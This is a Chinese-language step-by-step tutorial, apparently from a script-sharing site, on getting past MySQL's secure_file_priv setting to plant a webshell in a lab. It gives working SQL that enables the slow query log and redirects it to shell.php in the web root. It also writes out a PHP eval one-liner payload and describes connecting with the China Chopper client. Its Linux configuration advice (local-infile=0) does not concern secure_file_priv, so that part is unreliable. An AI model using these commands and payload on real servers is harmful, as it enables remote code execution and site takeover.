MYSQL突破secure_file_priv寫shell問題
目標IP地址:192.168.106.130
本地IP地址:192.168.106.1
訪問目標網(wǎng)絡如下圖所示:
實驗場景
某些情況下,當我們進入網(wǎng)站phpmyadmin或者網(wǎng)站后臺執(zhí)行SQL命令,計劃通過select into outfile寫一句話木馬(shell),但是通常都會報錯
如下圖所示:


原因
在mysql 中 secure_file_priv的值默認為NULL。
并且無法用sql語句對其進行修改,只能夠通過以下方式修改
windows:
修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啟mysql。
Linux:
在/etc/my.cnf的[mysqld]下面添加local-infile=0選項。
secure_file_priv作用:
- secure_file_priv為null 表示不允許導入導出
- secure_file_priv指定文件夾時,表示mysql的導入導出只能發(fā)生在指定的文件夾
- secure_file_priv沒有設置時,則表示沒有任何限制
但是如果這樣的話我們就不能夠寫shell了嗎?答案是否定的。
突破限制利用方法:日志的利用
利用方法:
攻擊時進行一次附帶代碼的url請求,在日志記錄這次請求之后,通過文件包含漏洞來包含這個日志文件,從而執(zhí)行請求中的代碼。
mysql也具有日志,我們也可以通過日志來getshell。
mysql日志主要包含:錯誤日志、查詢日志、慢查詢日志、事務日志,日志的詳細情況參考mysql日志詳細解析
本次實驗主要利用慢查詢日志寫shell
第一步:
1.設置slow_query_log=1.即啟用慢查詢日志(默認禁用)。

分析:

slow_query_log=ON 已開啟
第二步:
修改slow_query_log_file日志文件的絕對路徑以及文件名
作為攻擊者不知道安裝路徑,可以輸入:show variables like “%char%”,執(zhí)行效果如下圖所示,得到安裝路徑

修改slow_query_log_file日志文件的絕對路徑以及文件名為C:\phpstudy\PHPTutorial\WWW\shell.php
set global slow_query_log_file=‘C:\phpstudy\PHPTutorial\WWW\shell.php’

目標靶機驗證是否成功修改:

第三步:
向日志文件寫入shell,select ‘<?php @eval($_POST[x]);?>’ or sleep(11)
因為sleep(11),SQL語句正確的話,會延遲11秒后返回執(zhí)行結果,耐心等待即可

第四步:
訪問shell.php日志文件

第五步:
中國菜刀連接

連接成功

總結
以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關文章
Mysql 切換數(shù)據(jù)存儲目錄的實現(xiàn)方法
這篇文章主要介紹了Mysql 切換數(shù)據(jù)存儲目錄的實現(xiàn)方法的相關資料,需要的朋友可以參考下2017-07-07

